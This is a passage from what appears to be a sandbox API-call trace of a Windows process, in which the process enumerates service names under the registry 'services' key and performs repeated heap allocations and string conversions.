cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0215.806] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.806] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.806] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.806] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.806] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0215.806] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0215.806] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0215.806] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.806] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.806] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.806] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.806] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0215.806] RegCloseKey (hKey=0xc4) returned 0x0 [0215.806] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0215.806] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0215.806] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1bb0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0215.806] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.806] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.806] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.806] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.806] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0215.806] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0215.806] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1b68, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0215.807] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.807] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.807] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.807] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.807] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0215.807] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0215.807] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1bb0, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0215.807] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.807] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.807] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.807] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.807] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0215.807] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0215.807] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1b68, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0215.807] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.807] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.807] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.807] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.807] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0215.807] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0215.807] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1bb0, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0215.808] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.808] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0215.808] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0215.808] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1b68, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0215.808] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.808] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0215.808] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0215.808] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1bb0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0215.808] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.808] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0215.808] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0215.808] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0215.808] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.808] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.809] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0215.809] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0215.809] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1bb0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0215.809] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.809] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.809] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.809] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.809] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0215.809] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0215.809] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0215.809] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.809] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.809] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.809] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.809] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0215.809] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0215.809] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1bb0, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0215.809] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.809] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.809] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.809] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.809] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0215.809] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0215.809] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0215.810] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.810] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.810] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.810] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.810] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0215.810] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0215.810] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1bb0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0215.810] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.810] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.810] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.810] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.810] RegEnumKeyW (in: hKey=0x148, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0215.810] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0215.810] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0215.810] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.810] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.810] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.810] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.810] RegEnumKeyW (in: hKey=0x148, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0215.810] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0215.810] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1bb0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0215.810] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.810] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.810] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.810] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.810] RegEnumKeyW (in: hKey=0x148, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0215.811] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0215.811] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1b68, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0215.811] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.811] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.811] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.811] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.811] RegEnumKeyW (in: hKey=0x148, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0215.811] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0215.811] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1bb0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0215.811] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.811] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.811] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.811] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.811] RegEnumKeyW (in: hKey=0x148, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0215.811] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0215.811] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0215.811] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.811] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0215.811] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0215.811] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0215.811] RegEnumKeyW (in: hKey=0x148, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0215.811] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0215.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0215.811] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0215.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1bb0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0215.811] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0215.812] RtlFreeHeap 